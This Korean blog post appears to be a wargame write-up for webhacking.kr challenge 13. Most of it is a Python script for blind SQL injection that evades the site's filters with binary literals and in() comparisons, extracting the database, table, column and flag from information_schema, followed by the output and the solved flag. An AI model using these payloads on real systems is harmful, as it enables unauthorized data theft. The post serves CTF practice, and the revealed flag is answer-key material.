728x90
반응형
이번엔 1000점인 13번 문제를 풀어보자.
질의 보내기 부분에 값을 입력해 반응을 살펴본다.
1을 넣었을 때는 result에 1이 출력되고, 그 외 나머지는 0이 출력된다. 또 injection에 사용되는 특수문자 등은 필터링 된다.
문제를 해결하기 위해, DB 명 / 테이블 명 / 컬럼 명 / Flag 값 까지 구할 수 있는 파이썬 코드는 다음과 같다.
import requests
import string
import re
requests.packages.urllib3.disable_warnings()
URL = "https://webhacking.kr/challenge/web-10/?no="
def str2bin(string):
return '0b'+''.join(format(ord(x), 'b').zfill(8) for x in string)
def ord2bin(number):
return '0b'+format(number, 'b').zfill(8)
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Database Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
dbLen = 0
for i in range(100):
payload = "if(length(database())in(0b%s),1,0)" % bin(i)[2:]
res = requests.get(url=URL+payload, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found Database Length : %d" % i)
dbLen = i
break
else:
pass
bitLen = 8
Database = ""
for dblen in range(1, dbLen+1):
tmpBit = ""
for blen in range(1, bitLen+1):
payload = "if(substr(lpad(bin(ord(substr(database(),%(dblen)s,1))),%(bitLen)s,0),%(blen)s,1)in(1),1,0)" % {"dblen" : dblen, "blen" : blen, "bitLen" : bitLen}
res = requests.get(url=URL+payload, verify=False)
if "<td>1</td>" in res.text:
tmpBit += "1"
else:
tmpBit += "0"
Database += chr(int(tmpBit,2))
print("[+] Database Name : %s" % Database)
#TableLen = [0 for x in range(1,TableCnt+1)]
#Min
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Table Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database = "chall13"
TableLen = 0
for i in range(200):
payload = "if((select(length(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null))))from(information_schema.tables))in(%(i)s),1,0)" % {"DatabaseBin" : str2bin(Database), "i" : i}
res = requests.get(url=URL+payload, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found Table Min Length : %d" % i)
TableLen = i
break
else:
pass
TableName = ""
for tlen in range(1, TableLen+1):
for binStr in range(20, 128):
payload = "if((select(substr(min(if((select(table_schema)in(%(DatabaseBin)s)),table_name,null)),%(tlen)s,1))from(information_schema.tables))in(%(binStr)s),1,0)" % {"DatabaseBin" : str2bin(Database), "binStr" : ord2bin(binStr), "tlen" : tlen}
res = requests.get(url=URL+payload, verify=False)
if "<td>1</td>" in res.text:
TableName += chr(binStr)
break
else:
pass
print("[+] Found Table Word[%d] : %s" % (tlen-1, TableName))
print("[+] Found Table Name : %s" % TableName)
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Column Name 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
ColumnCnt = 0
for i in range(1000):
payload = "if((select(count(if((select(table_name)in(%(TableName)s)),column_name,null)))from(information_schema.columns))in(%(i)s),1,0);"
payload = payload % {"TableName" : str2bin(TableName), "i" : i}
res = requests.get(url=URL+payload, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found Table Count : %d" % i)
TableCnt = i
break
else:
pass
ColumnLen = 0
for i in range(200):
payload = "if((select(length(min(if((select(table_name)in(%(TableName)s)),column_name,null))))from(information_schema.columns))in(%(i)s),1,0)" % {"TableName" : str2bin(TableName), "i" : i}
res = requests.get(url=URL+payload, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found ColumnLen Min : %d" % i)
ColumnLen = i
break
else:
pass
ColumnName = ""
for clen in range(1, ColumnLen+1):
for binStr in range(20,128):
payload = "if((select(substr(min(if((select(table_name)in(%(TableName)s)),column_name,null)),%(clen)s,1))from(information_schema.columns))in(%(binStr)s),1,0)" % {"TableName" : str2bin(TableName), "binStr" : ord2bin(binStr), "clen" : clen}
res = requests.get(url=URL+payload, verify=False)
if "<td>1</td>" in res.text:
ColumnName += chr(binStr)
break
else:
pass
print("[+] Found Column Word[%d] : %s" % (clen-1, ColumnName))
print("[+] Found Column Name : %s" % ColumnName)
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
# Flag 가져오기
# =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-
Database = "chall13"
TableName = "flag_ab733768" # Table Name should be Lower Case
ColumnName = "FLAG_3A55B31D"
ValueLen = ""
for i in range(1000):
payload = "if((select(length(max(%(ColumnName)s)))from(%(Database)s.%(TableName)s))in(%(i)s),1,0)"
payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "i" : i}
res = requests.get(url=URL+payload, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found Value Length : %d" % i)
ValueLen = i
break
else:
pass
Flag = ""
for vlen in range(1,ValueLen+1):
for binStr in range(20,128):
payload = "if((select(substr(max(%(ColumnName)s),%(vlen)s,1))from(%(Database)s.%(TableName)s))in(%(binStr)s),1,0)"
payload = payload % {"Database": Database, "TableName" : TableName, "ColumnName" : ColumnName, "vlen": vlen, "binStr" : ord2bin(binStr)}
res = requests.get(url=URL+payload, verify=False)
if "<td>1</td>" in res.text:
print("[+] Found Flag Word[%d] : %s" % (vlen, chr(binStr)))
Flag += chr(binStr)
break
else:
pass
print("[+] Found Flag : %s" % Flag)
프로그램의 결과 값은 다음과 같이 출력된다.
[+] Found Database Length : 7
[+] Database Name : chall13
[+] Found Table Min Length : 13
[+] Found Table Word[0] : F
[+] Found Table Word[1] : FL
[+] Found Table Word[2] : FLA
[+] Found Table Word[3] : FLAG
[+] Found Table Word[4] : FLAG_
[+] Found Table Word[5] : FLAG_A
[+] Found Table Word[6] : FLAG_AB
[+] Found Table Word[7] : FLAG_AB7
[+] Found Table Word[8] : FLAG_AB73
[+] Found Table Word[9] : FLAG_AB733
[+] Found Table Word[10] : FLAG_AB7337
[+] Found Table Word[11] : FLAG_AB73376
[+] Found Table Word[12] : FLAG_AB733768
[+] Found Table Name : FLAG_AB733768
[+] Found Table Count : 1
[+] Found ColumnLen Min : 13
[+] Found Column Word[0] : F
[+] Found Column Word[1] : FL
[+] Found Column Word[2] : FLA
[+] Found Column Word[3] : FLAG
[+] Found Column Word[4] : FLAG_
[+] Found Column Word[5] : FLAG_3
[+] Found Column Word[6] : FLAG_3A
[+] Found Column Word[7] : FLAG_3A5
[+] Found Column Word[8] : FLAG_3A55
[+] Found Column Word[9] : FLAG_3A55B
[+] Found Column Word[10] : FLAG_3A55B3
[+] Found Column Word[11] : FLAG_3A55B31
[+] Found Column Word[12] : FLAG_3A55B31D
[+] Found Column Name : FLAG_3A55B31D
[+] Found Value Length : 27
[+] Found Flag Word[1] : F
[+] Found Flag Word[2] : L
[+] Found Flag Word[3] : A
[+] Found Flag Word[4] : G
[+] Found Flag Word[5] : {
[+] Found Flag Word[6] : C
[+] Found Flag Word[7] : H
[+] Found Flag Word[8] : A
[+] Found Flag Word[9] : L
[+] Found Flag Word[10] : L
[+] Found Flag Word[11] : E
[+] Found Flag Word[12] : N
[+] Found Flag Word[13] : G
[+] Found Flag Word[14] : E
[+] Found Flag Word[15] : 1
[+] Found Flag Word[16] : 3
[+] Found Flag Word[17] : G
[+] Found Flag Word[18] : U
[+] Found Flag Word[19] : M
[+] Found Flag Word[20] : M
[+] Found Flag Word[21] : Y
[+] Found Flag Word[22] : C
[+] Found Flag Word[23] : L
[+] Found Flag Word[24] : E
[+] Found Flag Word[25] : A
[+] Found Flag Word[26] : R
[+] Found Flag Word[27] : }
[+] Found Flag : FLAG{CHALLENGE13GUMMYCLEAR}
이제 얻어진 Flag값을 제출해보자.
대문자로 제출하면 안되고 소문자로 제출해야 문제가 풀린다.
728x90
반응형
'CTF & WarGame > webhacking.kr' 카테고리의 다른 글
[webhacking.kr] 15번 문제 (0) | 2020.03.05 |
---|---|
[webhacking.kr] 14번 문제 (0) | 2020.03.05 |
[webhacking.kr] 12번 문제 (0) | 2020.03.03 |
[webhacking.kr] 11번 문제 (0) | 2020.03.02 |
[webhacking.kr] 10번 문제 (0) | 2020.03.02 |